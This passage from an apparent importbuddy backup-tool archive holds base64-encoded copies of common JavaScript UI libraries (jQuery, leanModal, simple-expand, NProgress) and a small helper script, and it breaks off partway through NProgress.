YyxkPXt0b3A6MCxsZWZ0OjB9LGU9dGhpc1swXSxmPWUmJmUub3duZXJEb2N1bWVudDtpZihmKXJldHVybiBiPWYuZG9jdW1lbnRFbGVtZW50LG4uY29udGFpbnMoYixlKT8odHlwZW9mIGUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0IT09TCYmKGQ9ZS5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKSksYz1lZChmKSx7dG9wOmQudG9wKyhjLnBhZ2VZT2Zmc2V0fHxiLnNjcm9sbFRvcCktKGIuY2xpZW50VG9wfHwwKSxsZWZ0OmQubGVmdCsoYy5wYWdlWE9mZnNldHx8Yi5zY3JvbGxMZWZ0KS0oYi5jbGllbnRMZWZ0fHwwKX0pOmR9LHBvc2l0aW9uOmZ1bmN0aW9uKCl7aWYodGhpc1swXSl7dmFyIGEsYixjPXt0b3A6MCxsZWZ0OjB9LGQ9dGhpc1swXTtyZXR1cm4iZml4ZWQiPT09bi5jc3MoZCwicG9zaXRpb24iKT9iPWQuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk6KGE9dGhpcy5vZmZzZXRQYXJlbnQoKSxiPXRoaXMub2Zmc2V0KCksbi5ub2RlTmFtZShhWzBdLCJodG1sIil8fChjPWEub2Zmc2V0KCkpLGMudG9wKz1uLmNzcyhhWzBdLCJib3JkZXJUb3BXaWR0aCIsITApLGMubGVmdCs9bi5jc3MoYVswXSwiYm9yZGVyTGVmdFdpZHRoIiwhMCkpLHt0b3A6Yi50b3AtYy50b3Atbi5jc3MoZCwibWFyZ2luVG9wIiwhMCksbGVmdDpiLmxlZnQtYy5sZWZ0LW4uY3NzKGQsIm1hcmdpbkxlZnQiLCEwKX19fSxvZmZzZXRQYXJlbnQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXt2YXIgYT10aGlzLm9mZnNldFBhcmVudHx8ZGQ7d2hpbGUoYSYmIW4ubm9kZU5hbWUoYSwiaHRtbCIpJiYic3RhdGljIj09PW4uY3NzKGEsInBvc2l0aW9uIikpYT1hLm9mZnNldFBhcmVudDtyZXR1cm4gYXx8ZGR9KX19KSxuLmVhY2goe3Njcm9sbExlZnQ6InBhZ2VYT2Zmc2V0IixzY3JvbGxUb3A6InBhZ2VZT2Zmc2V0In0sZnVuY3Rpb24oYSxiKXt2YXIgYz0vWS8udGVzdChiKTtuLmZuW2FdPWZ1bmN0aW9uKGQpe3JldHVybiBXKHRoaXMsZnVuY3Rpb24oYSxkLGUpe3ZhciBmPWVkKGEpO3JldHVybiB2b2lkIDA9PT1lP2Y/YiBpbiBmP2ZbYl06Zi5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnRbZF06YVtkXTp2b2lkKGY/Zi5zY3JvbGxUbyhjP24oZikuc2Nyb2xsTGVmdCgpOmUsYz9lOm4oZikuc2Nyb2xsVG9wKCkpOmFbZF09ZSl9LGEsZCxhcmd1bWVudHMubGVuZ3RoLG51bGwpfX0pLG4uZWFjaChbInRvcCIsImxlZnQiXSxmdW5jdGlvbihhLGIpe24uY3NzSG9va3NbYl09TWIobC5waXhlbFBvc2l0aW9uLGZ1bmN0aW9uKGEsYyl7cmV0dXJuIGM/KGM9S2IoYSxiKSxJYi50ZXN0KGMpP24oYSkucG9zaXRpb24oKVtiXSsicHgiOmMpOnZvaWQgMH0pfSksbi5lYWNoKHtIZWlnaHQ6ImhlaWdodCIsV2lkdGg6IndpZHRoIn0sZnVuY3Rpb24oYSxiKXtuLmVhY2goe3BhZGRpbmc6ImlubmVyIithLGNvbnRlbnQ6YiwiIjoib3V0ZXIiK2F9LGZ1bmN0aW9uKGMsZCl7bi5mbltkXT1mdW5jdGlvbihkLGUpe3ZhciBmPWFyZ3VtZW50cy5sZW5ndGgmJihjfHwiYm9vbGVhbiIhPXR5cGVvZiBkKSxnPWN8fChkPT09ITB8fGU9PT0hMD8ibWFyZ2luIjoiYm9yZGVyIik7cmV0dXJuIFcodGhpcyxmdW5jdGlvbihiLGMsZCl7dmFyIGU7cmV0dXJuIG4uaXNXaW5kb3coYik/Yi5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnRbImNsaWVudCIrYV06OT09PWIubm9kZVR5cGU/KGU9Yi5kb2N1bWVudEVsZW1lbnQsTWF0aC5tYXgoYi5ib2R5WyJzY3JvbGwiK2FdLGVbInNjcm9sbCIrYV0sYi5ib2R5WyJvZmZzZXQiK2FdLGVbIm9mZnNldCIrYV0sZVsiY2xpZW50IithXSkpOnZvaWQgMD09PWQ/bi5jc3MoYixjLGcpOm4uc3R5bGUoYixjLGQsZyl9LGIsZj9kOnZvaWQgMCxmLG51bGwpfX0pfSksbi5mbi5zaXplPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubGVuZ3RofSxuLmZuLmFuZFNlbGY9bi5mbi5hZGRCYWNrLCJmdW5jdGlvbiI9PXR5cGVvZiBkZWZpbmUmJmRlZmluZS5hbWQmJmRlZmluZSgianF1ZXJ5IixbXSxmdW5jdGlvbigpe3JldHVybiBufSk7dmFyIGZkPWEualF1ZXJ5LGdkPWEuJDtyZXR1cm4gbi5ub0NvbmZsaWN0PWZ1bmN0aW9uKGIpe3JldHVybiBhLiQ9PT1uJiYoYS4kPWdkKSxiJiZhLmpRdWVyeT09PW4mJihhLmpRdWVyeT1mZCksbn0sdHlwZW9mIGI9PT1MJiYoYS5qUXVlcnk9YS4kPW4pLG59KTs=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/js/jquery.js,importbuddy/js/jquery.js
###PACKDATA,FILE_START,/_importbuddy/importbuddy/js/jquery.leanModal.min.js,importbuddy/js/jquery.leanModal.min.js
KGZ1bmN0aW9uKCQpewogCiAgICAkLmZuLmV4dGVuZCh7IAogICAgICAgICAKICAgICAgICBsZWFuTW9kYWw6IGZ1bmN0aW9uKG9wdGlvbnMpIHsKIAkJCQogCQkJdmFyIHdpbiA9IHdpbmRvdy5kaWFsb2dBcmd1bWVudHMgfHwgb3BlbmVyIHx8IHBhcmVudCB8fCB0b3A7CiAJCQkKICAgICAgICAgICAgdmFyIGRlZmF1bHRzID0gewogICAgICAgICAgICAgICAgdG9wOiAxMDAsCiAgICAgICAgICAgICAgICBvdmVybGF5OiAwLjUsCiAgICAgICAgICAgICAgICBjbG9zZUJ1dHRvbjogbnVsbAogICAgICAgICAgICB9OwogICAgICAgICAgICAKICAgICAgICAgICAgdmFyIG92ZXJsYXkgPSAkKCI8ZGl2IGlkPSdsZWFuX292ZXJsYXknPjwvZGl2PiIpOwogICAgICAgICAgICAKICAgICAgICAgICAgJCgiYm9keSIpLmFwcGVuZChvdmVybGF5KTsKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgb3B0aW9ucyA9ICAkLmV4dGVuZChkZWZhdWx0cywgb3B0aW9ucyk7CiAKICAgICAgICAgICAgcmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpIHsKICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB2YXIgbyA9IG9wdGlvbnM7CiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJCh0aGlzKS5jbGljayhmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgCXZhciBtb2RhbF9pZCA9ICQodGhpcykuYXR0cigiaHJlZiIpOwoKCQkJCSQoIiNsZWFuX292ZXJsYXkiKS5jbGljayhmdW5jdGlvbigpIHsgCiAgICAgICAgICAgICAgICAgICAgIGNsb3NlX21vZGFsKG1vZGFsX2lkKTsgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICQoby5jbG9zZUJ1dHRvbikuY2xpY2soZnVuY3Rpb24oKSB7IAogICAgICAgICAgICAgICAgICAgICBjbG9zZV9tb2RhbChtb2RhbF9pZCk7ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgICAgICAgICAgCQogICAgICAgICAgICAgIAl2YXIgbW9kYWxfaGVpZ2h0ID0gJChtb2RhbF9pZCkub3V0ZXJIZWlnaHQoZmFsc2UpOwogICAgICAgIAkgIAl2YXIgbW9kYWxfd2lkdGggPSAkKG1vZGFsX2lkKS5vdXRlcldpZHRoKGZhbHNlKTsKCiAgICAgICAgCQkkKCcjbGVhbl9vdmVybGF5JykuY3NzKHsgJ2Rpc3BsYXknIDogJ2Jsb2NrJywgb3BhY2l0eSA6IDAgfSk7CgogICAgICAgIAkJJCgnI2xlYW5fb3ZlcmxheScpLmZhZGVUbygyMDAsby5vdmVybGF5KTsKCiAgICAgICAgCQkkKG1vZGFsX2lkKS5jc3MoeyAKICAgICAgICAJCQogICAgICAgIAkJCSdkaXNwbGF5JyA6ICdibG9jaycsCiAgICAgICAgCQkJJ3Bvc2l0aW9uJyA6ICdmaXhlZCcsCiAgICAgICAgCQkJJ29wYWNpdHknIDogMCwKICAgICAgICAJCQknei1pbmRleCc6IDExMDAwLAogICAgICAgIAkJCSdsZWZ0JyA6IDUwICsgJyUnLAogICAgICAgIAkJCSdtYXJnaW4tbGVmdCcgOiAtKG1vZGFsX3dpZHRoLzIpICsgInB4IiwKICAgICAgICAJCQkndG9wJyA6IG8udG9wICsgInB4IgogICAgICAgIAkJCiAgICAgICAgCQl9KTsKCiAgICAgICAgCQkkKG1vZGFsX2lkKS5mYWRlVG8oMjAwLDEpOwoKICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIAl9KTsKICAgICAgICAgICAgIAogICAgICAgICAgICB9KTsKCgkJCWZ1bmN0aW9uIGNsb3NlX21vZGFsKG1vZGFsX2lkKXsKCiAgICAgICAgCQkkKCIjbGVhbl9vdmVybGF5IikuZmFkZU91dCgyMDApOwoKICAgICAgICAJCSQobW9kYWxfaWQpLmNzcyh7ICdkaXNwbGF5JyA6ICdub25lJyB9KTsKCQkJCgkJCX0KICAgIAogICAgICAgIH0KICAgIH0pOwogICAgIAp9KShqUXVlcnkpOw==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/js/jquery.leanModal.min.js,importbuddy/js/jquery.leanModal.min.js
###PACKDATA,FILE_START,/_importbuddy/importbuddy/js/jquery.simple-expand.min.js,importbuddy/js/jquery.simple-expand.min.js
LyogQ29weXJpZ2h0IChDKSAyMDEyIFN5bHZhaW4gSGFtZWwKUHJvamVjdDogaHR0cHM6Ly9naXRodWIuY29tL3JlZGhvdHNseS9zaW1wbGUtZXhwYW5kCk1JVCBMaWNlbmNlOiBodHRwczovL3Jhdy5naXRodWIuY29tL3JlZGhvdHNseS9zaW1wbGUtZXhwYW5kL21hc3Rlci9saWNlbmNlLW1pdC50eHQgKi8KKGZ1bmN0aW9uKCQpeyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBlKCl7dmFyIGU9dGhpcztlLmRlZmF1bHRzPXtoaWRlTW9kZToiZmFkZVRvZ2dsZSIsZGVmYXVsdFNlYXJjaE1vZGU6InBhcmVudCIsZGVmYXVsdFRhcmdldDoiLmNvbnRlbnQiLHRocm93T25NaXNzaW5nVGFyZ2V0OiEwLGtlZXBTdGF0ZUluQ29va2llOiExLGNvb2tpZU5hbWU6InNpbXBsZS1leHBhbmQifSxlLnNldHRpbmdzPXt9LCQuZXh0ZW5kKGUuc2V0dGluZ3MsZS5kZWZhdWx0cyksZS5maW5kTGV2ZWxPbmVEZWVwPWZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gZS5maW5kKHQpLmZpbHRlcihmdW5jdGlvbigpe3JldHVybiEkKHRoaXMpLnBhcmVudHNVbnRpbChlLG4pLmxlbmd0aH0pfSxlLnNldEluaXRpYWxTdGF0ZT1mdW5jdGlvbih0LG4pe3ZhciByPWUucmVhZFN0YXRlKHQpO3I/KHQucmVtb3ZlQ2xhc3MoImNvbGxhcHNlZCIpLmFkZENsYXNzKCJleHBhbmRlZCIpLGUuc2hvdyhuKSk6KHQucmVtb3ZlQ2xhc3MoImV4cGFuZGVkIikuYWRkQ2xhc3MoImNvbGxhcHNlZCIpLGUuaGlkZShuKSl9LGUuaGlkZT1mdW5jdGlvbih0KXtlLnNldHRpbmdzLmhpZGVNb2RlPT09ImZhZGVUb2dnbGUiP3QuaGlkZSgpOmUuc2V0dGluZ3MuaGlkZU1vZGU9PT0iYmFzaWMiJiZ0LmhpZGUoKX0sZS5zaG93PWZ1bmN0aW9uKHQpe2Uuc2V0dGluZ3MuaGlkZU1vZGU9PT0iZmFkZVRvZ2dsZSI/dC5zaG93KCk6ZS5zZXR0aW5ncy5oaWRlTW9kZT09PSJiYXNpYyImJnQuc2hvdygpfSxlLmNoZWNrS2VlcFN0YXRlSW5Db29raWVQcmVjb25kaXRpb25zPWZ1bmN0aW9uKCl7aWYoZS5zZXR0aW5ncy5rZWVwU3RhdGVJbkNvb2tpZSYmJC5jb29raWU9PT11bmRlZmluZWQpdGhyb3cgbmV3IEVycm9yKCJzaW1wbGUtZXhwYW5kOiBrZWVwU3RhdGVJbkNvb2tpZSBvcHRpb24gcmVxdWlyZXMgJC5jb29raWUgdG8gYmUgZGVmaW5lZC4iKX0sZS5yZWFkQ29va2llPWZ1bmN0aW9uKCl7dmFyIHQ9JC5jb29raWUoZS5zZXR0aW5ncy5jb29raWVOYW1lKTtyZXR1cm4gdD09PW51bGx8fHQ9PT0iIj97fTpKU09OLnBhcnNlKHQpfSxlLnJlYWRTdGF0ZT1mdW5jdGlvbih0KXtpZighZS5zZXR0aW5ncy5rZWVwU3RhdGVJbkNvb2tpZSlyZXR1cm4hMTt2YXIgbj10LmF0dHIoIklkIik7aWYobj09PXVuZGVmaW5lZClyZXR1cm47dmFyIHI9ZS5yZWFkQ29va2llKCksaT1yW25dPT09ITB8fCExO3JldHVybiBpfSxlLnNhdmVTdGF0ZT1mdW5jdGlvbih0LG4pe2lmKCFlLnNldHRpbmdzLmtlZXBTdGF0ZUluQ29va2llKXJldHVybjt2YXIgcj10LmF0dHIoIklkIik7aWYocj09PXVuZGVmaW5lZClyZXR1cm47dmFyIGk9ZS5yZWFkQ29va2llKCk7aVtyXT1uLCQuY29va2llKGUuc2V0dGluZ3MuY29va2llTmFtZSxKU09OLnN0cmluZ2lmeShpKSx7cmF3OiEwLHBhdGg6d2luZG93LmxvY2F0aW9uLnBhdGhuYW1lfSl9LGUudG9nZ2xlPWZ1bmN0aW9uKHQsbil7dmFyIHI9ZS50b2dnbGVDc3ModCk7cmV0dXJuIGUuc2V0dGluZ3MuaGlkZU1vZGU9PT0iZmFkZVRvZ2dsZSI/bi5mYWRlVG9nZ2xlKDE1MCk6ZS5zZXR0aW5ncy5oaWRlTW9kZT09PSJiYXNpYyI/bi50b2dnbGUoKTokLmlzRnVuY3Rpb24oZS5zZXR0aW5ncy5oaWRlTW9kZSkmJmUuc2V0dGluZ3MuaGlkZU1vZGUodCxuLHIpLGUuc2F2ZVN0YXRlKHQsciksITF9LGUudG9nZ2xlQ3NzPWZ1bmN0aW9uKGUpe3JldHVybiBlLmhhc0NsYXNzKCJleHBhbmRlZCIpPyhlLnRvZ2dsZUNsYXNzKCJjb2xsYXBzZWQgZXhwYW5kZWQiKSwhMSk6KGUudG9nZ2xlQ2xhc3MoImV4cGFuZGVkIGNvbGxhcHNlZCIpLCEwKX0sZS5maW5kVGFyZ2V0cz1mdW5jdGlvbih0LG4scil7dmFyIGk9W107aWYobj09PSJhYnNvbHV0ZSIpaT0kKHIpO2Vsc2UgaWYobj09PSJyZWxhdGl2ZSIpaT1lLmZpbmRMZXZlbE9uZURlZXAodCxyLHIpO2Vsc2UgaWYobj09PSJwYXJlbnQiKXt2YXIgcz10LnBhcmVudCgpO2RvIGk9ZS5maW5kTGV2ZWxPbmVEZWVwKHMscixyKSxpLmxlbmd0aD09PTAmJihzPXMucGFyZW50KCkpO3doaWxlKGkubGVuZ3RoPT09MCYmcy5sZW5ndGghPT0wKX1yZXR1cm4gaX0sZS5hY3RpdmF0ZT1mdW5jdGlvbih0LG4peyQuZXh0ZW5kKGUuc2V0dGluZ3MsbiksZS5jaGVja0tlZXBTdGF0ZUluQ29va2llUHJlY29uZGl0aW9ucygpLHQuZWFjaChmdW5jdGlvbigpe3ZhciB0PSQodGhpcyksbj10LmF0dHIoImRhdGEtZXhwYW5kZXItdGFyZ2V0Iil8fGUuc2V0dGluZ3MuZGVmYXVsdFRhcmdldCxyPXQuYXR0cigiZGF0YS1leHBhbmRlci10YXJnZXQtc2VhcmNoIil8fGUuc2V0dGluZ3MuZGVmYXVsdFNlYXJjaE1vZGUsaT1lLmZpbmRUYXJnZXRzKHQscixuKTtpZihpLmxlbmd0aD09PTApe2lmKGUuc2V0dGluZ3MudGhyb3dPbk1pc3NpbmdUYXJnZXQpdGhyb3cic2ltcGxlLWV4cGFuZDogVGFyZ2V0cyBub3QgZm91bmQiO3JldHVybiB0aGlzfWUuc2V0SW5pdGlhbFN0YXRlKHQsaSksdC5jbGljayhmdW5jdGlvbigpe3JldHVybiBlLnRvZ2dsZSh0LGkpfSl9KX19d2luZG93LlNpbXBsZUV4cGFuZD1lLCQuZm4uc2ltcGxlZXhwYW5kPWZ1bmN0aW9uKHQpe3ZhciBuPW5ldyBlO3JldHVybiBuLmFjdGl2YXRlKHRoaXMsdCksdGhpc319KShqUXVlcnkpOw==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/js/jquery.simple-expand.min.js,importbuddy/js/jquery.simple-expand.min.js
###PACKDATA,FILE_START,/_importbuddy/importbuddy/js/main.js,importbuddy/js/main.js
alF1ZXJ5LmZuLnZpc2libGUgPSBmdW5jdGlvbigpIHsKCXJldHVybiB0aGlzLmNzcygndmlzaWJpbGl0eScsICd2aXNpYmxlJyk7Cn07CgpqUXVlcnkuZm4uaW52aXNpYmxlID0gZnVuY3Rpb24oKSB7CglyZXR1cm4gdGhpcy5jc3MoJ3Zpc2liaWxpdHknLCAnaGlkZGVuJyk7Cn07CgpqUXVlcnkuZm4udmlzaWJpbGl0eVRvZ2dsZSA9IGZ1bmN0aW9uKCkgewoJcmV0dXJuIHRoaXMuY3NzKCd2aXNpYmlsaXR5JywgZnVuY3Rpb24oaSwgdmlzaWJpbGl0eSkgewoJCXJldHVybiAodmlzaWJpbGl0eSA9PSAndmlzaWJsZScpID8gJ2hpZGRlbicgOiAndmlzaWJsZSc7Cgl9KTsKfTs=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/js/main.js,importbuddy/js/main.js
###PACKDATA,FILE_START,/_importbuddy/importbuddy/js/nprogress.js,importbuddy/js/nprogress.js
LyohIE5Qcm9ncmVzcyAoYykgMjAxMywgUmljbyBTdGEuIENydXoKICogIGh0dHA6Ly9yaWNvc3RhY3J1ei5jb20vbnByb2dyZXNzICovCgo7KGZ1bmN0aW9uKGZhY3RvcnkpIHsKCiAgaWYgKHR5cGVvZiBtb2R1bGUgPT09ICdmdW5jdGlvbicpIHsKICAgIG1vZHVsZS5leHBvcnRzID0gZmFjdG9yeSgpOwogIH0gZWxzZSBpZiAodHlwZW9mIGRlZmluZSA9PT0gJ2Z1bmN0aW9uJyAmJiBkZWZpbmUuYW1kKSB7CiAgICBkZWZpbmUoZmFjdG9yeSk7CiAgfSBlbHNlIHsKICAgIHRoaXMuTlByb2dyZXNzID0gZmFjdG9yeSgpOwogIH0KCn0pKGZ1bmN0aW9uKCkgewogIHZhciBOUHJvZ3Jlc3MgPSB7fTsKCiAgTlByb2dyZXNzLnZlcnNpb24gPSAnMC4xLjMnOwoKICB2YXIgU2V0dGluZ3MgPSBOUHJvZ3Jlc3Muc2V0dGluZ3MgPSB7CiAgICBtaW5pbXVtOiAwLjA4LAogICAgZWFzaW5nOiAnZWFzZScsCiAgICBwb3NpdGlvblVzaW5nOiAnJywKICAgIHNwZWVkOiAyMDAsCiAgICB0cmlja2xlOiB0cnVlLAogICAgdHJpY2tsZVJhdGU6IDAuMDIsCiAgICB0cmlja2xlU3BlZWQ6IDgwMCwKICAgIHNob3dTcGlubmVyOiB0cnVlLAogICAgYmFyU2VsZWN0b3I6ICdbcm9sZT0iYmFyIl0nLAogICAgc3Bpbm5lclNlbGVjdG9yOiAnW3JvbGU9InNwaW5uZXIiXScsCiAgICB0ZW1wbGF0ZTogJzxkaXYgY2xhc3M9ImJhciIgcm9sZT0iYmFyIj48ZGl2IGNsYXNzPSJwZWciPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9InNwaW5uZXIiIHJvbGU9InNwaW5uZXIiPjxkaXYgY2xhc3M9InNwaW5uZXItaWNvbiI+PC9kaXY+PC9kaXY+JwogIH07CgogIC8qKgogICAqIFVwZGF0ZXMgY29uZmlndXJhdGlvbi4KICAgKgogICAqICAgICBOUHJvZ3Jlc3MuY29uZmlndXJlKHsKICAgKiAgICAgICBtaW5pbXVtOiAwLjEKICAgKiAgICAgfSk7CiAgICovCiAgTlByb2dyZXNzLmNvbmZpZ3VyZSA9IGZ1bmN0aW9uKG9wdGlvbnMpIHsKICAgIHZhciBrZXksIHZhbHVlOwogICAgZm9yIChrZXkgaW4gb3B0aW9ucykgewogICAgICB2YWx1ZSA9IG9wdGlvbnNba2V5XTsKICAgICAgaWYgKHZhbHVlICE9PSB1bmRlZmluZWQgJiYgb3B0aW9ucy5oYXNPd25Qcm9wZXJ0eShrZXkpKSBTZXR0aW5nc1trZXldID0gdmFsdWU7CiAgICB9CgogICAgcmV0dXJuIHRoaXM7CiAgfTsKCiAgLyoqCiAgICogTGFzdCBudW1iZXIuCiAgICovCgogIE5Qcm9ncmVzcy5zdGF0dXMgPSBudWxsOwoKICAvKioKICAgKiBTZXRzIHRoZSBwcm9ncmVzcyBiYXIgc3RhdHVzLCB3aGVyZSBgbmAgaXMgYSBudW1iZXIgZnJvbSBgMC4wYCB0byBgMS4wYC4KICAgKgogICAqICAgICBOUHJvZ3Jlc3Muc2V0KDAuNCk7CiAgICogICAgIE5Qcm9ncmVzcy5zZXQoMS4wKTsKICAgKi8KCiAgTlByb2dyZXNzLnNldCA9IGZ1bmN0aW9uKG4pIHsKICAgIHZhciBzdGFydGVkID0gTlByb2dyZXNzLmlzU3RhcnRlZCgpOwoKICAgIG4gPSBjbGFtcChuLCBTZXR0aW5ncy5taW5pbXVtLCAxKTsKICAgIE5Qcm9ncmVzcy5zdGF0dXMgPSAobiA9PT0gMSA/IG51bGwgOiBuKTsKCiAgICB2YXIgcHJvZ3Jlc3MgPSBOUHJvZ3Jlc3MucmVuZGVyKCFzdGFydGVkKSwKICAgICAgICBiYXIgICAgICA9IHByb2dyZXNzLnF1ZXJ5U2VsZWN0b3IoU2V0dGluZ3MuYmFyU2VsZWN0b3IpLAogICAgICAgIHNwZWVkICAgID0gU2V0dGluZ3Muc3BlZWQsCiAgICAgICAgZWFzZSAgICAgPSBTZXR0aW5ncy5lYXNpbmc7CgogICAgcHJvZ3Jlc3Mub2Zmc2V0V2lkdGg7IC8qIFJlcGFpbnQgKi8KCiAgICBxdWV1ZShmdW5jdGlvbihuZXh0KSB7CiAgICAgIC8vIFNldCBwb3NpdGlvblVzaW5nIGlmIGl0IGhhc24ndCBhbHJlYWR5IGJlZW4gc2V0CiAgICAgIGlmIChTZXR0aW5ncy5wb3NpdGlvblVzaW5nID09PSAnJykgU2V0dGluZ3MucG9zaXRpb25Vc2luZyA9IE5Qcm9ncmVzcy5nZXRQb3NpdGlvbmluZ0NTUygpOwoKICAgICAgLy8gQWRkIHRyYW5zaXRpb24KICAgICAgY3NzKGJhciwgYmFyUG9zaXRpb25DU1Mobiwgc3BlZWQsIGVhc2UpKTsKCiAgICAgIGlmIChuID09PSAxKSB7CiAgICAgICAgLy8gRmFkZSBvdXQKICAgICAgICBjc3MocHJvZ3Jlc3MsIHsgCiAgICAgICAgICB0cmFuc2l0aW9uOiAnbm9uZScsIAogICAgICAgICAgb3BhY2l0eTogMSAKICAgICAgICB9KTsKICAgICAgICBwcm9ncmVzcy5vZmZzZXRXaWR0aDsgLyogUmVwYWludCAqLwoKICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgewogICAgICAgICAgY3NzKHByb2dyZXNzLCB7IAogICAgICAgICAgICB0cmFuc2l0aW9uOiAnYWxsICcgKyBzcGVlZCArICdtcyBsaW5lYXInLCAKICAgICAgICAgICAgb3BhY2l0eTogMCAKICAgICAgICAgIH0pOwogICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsKICAgICAgICAgICAgTlByb2dyZXNzLnJlbW92ZSgpOwogICAgICAgICAgICBuZXh0KCk7CiAgICAgICAgICB9LCBzcGVlZCk7CiAgICAgICAgfSwgc3BlZWQpOwogICAgICB9IGVsc2UgewogICAgICAgIHNldFRpbWVvdXQobmV4dCwgc3BlZWQpOwogICAgICB9CiAgICB9KTsKCiAgICByZXR1cm4gdGhpczsKICB9OwoKICBOUHJvZ3Jlc3MuaXNTdGFydGVkID0gZnVuY3Rpb24oKSB7CiAgICByZXR1cm4gdHlwZW9mIE5Qcm9ncmVzcy5zdGF0dXMgPT09ICdudW1iZXInOwogIH07CgogIC8qKgogICAqIFNob3dzIHRoZSBwcm9ncmVzcyBiYXIuCiAgICogVGhpcyBpcyB0aGUgc2FtZSBhcyBzZXR0aW5nIHRoZSBzdGF0dXMgdG8gMCUsIGV4Y2VwdCB0aGF0IGl0IGRvZXNuJ3QgZ28gYmFja3dhcmRzLgogICAqCiAgICogICAgIE5Qcm9ncmVzcy5zdGFydCgpOwogICAqCiAgICovCiAgTlByb2dyZXNzLnN0YXJ0ID0gZnVuY3Rpb24oKSB7CiAgICBpZiAoIU5Qcm9ncmVzcy5zdGF0dXMpIE5Qcm9ncmVzcy5zZXQoMCk7CgogICAgdmFyIHdvcmsgPSBmdW5jdGlvbigpIHsKICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsKICAgICAgICBpZiAoIU5Qcm9ncmVzcy5zdGF0dXMpIHJldHVybjsKICAgICAgICBOUHJvZ3Jlc3MudHJpY2tsZSgpOwogICAgICAgIHdvcmsoKTsKICAgICAgfSwgU2V0dGluZ3MudHJpY2tsZVNwZWVkKTsKICAgIH07CgogICAgaWYgKFNldHRpbmdzLnRyaWNrbGUpIHdvcmsoKTsKCiAgICByZXR1cm4gdGhpczsKICB9OwoKICAvKioKICAgKiBIaWRlcyB0aGUgcHJvZ3Jlc3MgYmFyLgogICAqIFRoaXMgaXMgdGhlICpzb3J0IG9mKiB0aGUgc2FtZSBhcyBzZXR0aW5nIHRoZSBzdGF0dXMgdG8gMTAwJSwgd2l0aCB0aGUKICAgKiBkaWZmZXJlbmNlIGJlaW5nIGBkb25lKClgIG1ha2VzIHNvbWUgcGxhY2VibyBlZmZlY3Qgb2Ygc29tZSByZWFsaXN0aWMgbW90aW9uLgogICAqCiAgICogICAgIE5Qcm9ncmVzcy5kb25lKCk7CiAgICoKICAgKiBJZiBgdHJ1ZWAgaXMgcGFzc2VkLCBpdCB3aWxsIHNob3cgdGhlIHByb2dyZXNzIGJhciBldmVuIGlmIGl0cyBoaWRkZW4uCiAgICoKICAgKiAgICAgTlByb2dyZXNzLmRvbmUodHJ1ZSk7CiAgICovCgogIE5Qcm9ncmVzcy5kb25lID0gZnVuY3Rpb24oZm9yY2UpIHsKICAgIGlmICghZm9yY2UgJiYgIU5Qcm9ncmVzcy5zdGF0dXMpIHJldHVybiB0aGlzOwoKICAgIHJldHVybiBOUHJvZ3Jlc3MuaW5jKDAuMyArIDAuNSAqIE1hdGgucmFuZG9tKCkpLnNldCgxKTsKICB9OwoKICAvKioKICAgKiBJbmNyZW1lbnRzIGJ5IGEgcmFuZG9tIGFtb3VudC4KICAgKi8KCiAgTlByb2dyZXNzLmluYyA9IGZ1bmN0aW9uKGFtb3VudCkgewogICAgdmFyIG4gPSBOUHJvZ3Jlc3Muc3RhdHVzOwoKICAgIGlmICghbikgewogICAgICByZXR1cm4gTlByb2dyZXNzLnN0YXJ0KCk7CiAgICB9IGVsc2UgewogICAgICBpZiAodHlwZW9mIGFtb3VudCAhPT0gJ251bWJlcicpIHsKICAgICAgICBhbW91bnQgPSAoMSAtIG4pICogY2xhbXAoTWF0aC5yYW5kb20oKSAqIG4sIDAuMSwgMC45NSk7CiAgICAgIH0KCiAgICAgIG4gPSBjbGFtcChuICsgYW1vdW50LCAwLCAwLjk5NCk7CiAgICAgIHJldHVybiBOUHJvZ3Jlc3Muc2V0KG4pOwogICAgfQogIH07CgogIE5Qcm9ncmVzcy50cmlja2xlID0gZnVuY3Rpb24oKSB7CiAgICByZXR1cm4gTlByb2dyZXNzLmluYyhNYXRoLnJhbmRvbSgpICogU2V0dGluZ3MudHJpY2tsZVJhdGUpOwogIH07CgogIC8qKgogICAqIFdhaXRzIGZvciBhbGwgc3VwcGxpZWQgalF1ZXJ5IHByb21pc2VzIGFuZAogICAqIGluY3JlYXNlcyB0aGUgcHJvZ3Jlc3MgYXMgdGhlIHByb21pc2VzIHJlc29sdmUuCiAgICogCiAgICogQHBhcmFtICRwcm9taXNlIGpRVWVyeSBQcm9taXNlCiAgICovCiAgKGZ1bmN0aW9uKCkgewogICAgdmFyIGluaXRpYWwgPSAwLCBjdXJyZW50ID0gMDsKICAgIAogICAgTlByb2dyZXNzLnByb21pc2UgPSBmdW5jdGlvbigkcHJvbWlzZSkgewogICAgICBpZiAoISRwcm9taXNlIHx8ICRwcm9taXNlLnN0YXRlKCkgPT0gInJlc29sdmVkIikgewogICAgICAgIHJldHVybiB0aGlzOwogICAgICB9CiAgICAgIAogICAgICBpZiAoY3VycmVudCA9PSAwKSB7CiAgICAgICAgTlByb2dyZXNzLnN0YXJ0KCk7CiAgICAgIH0KICAgICA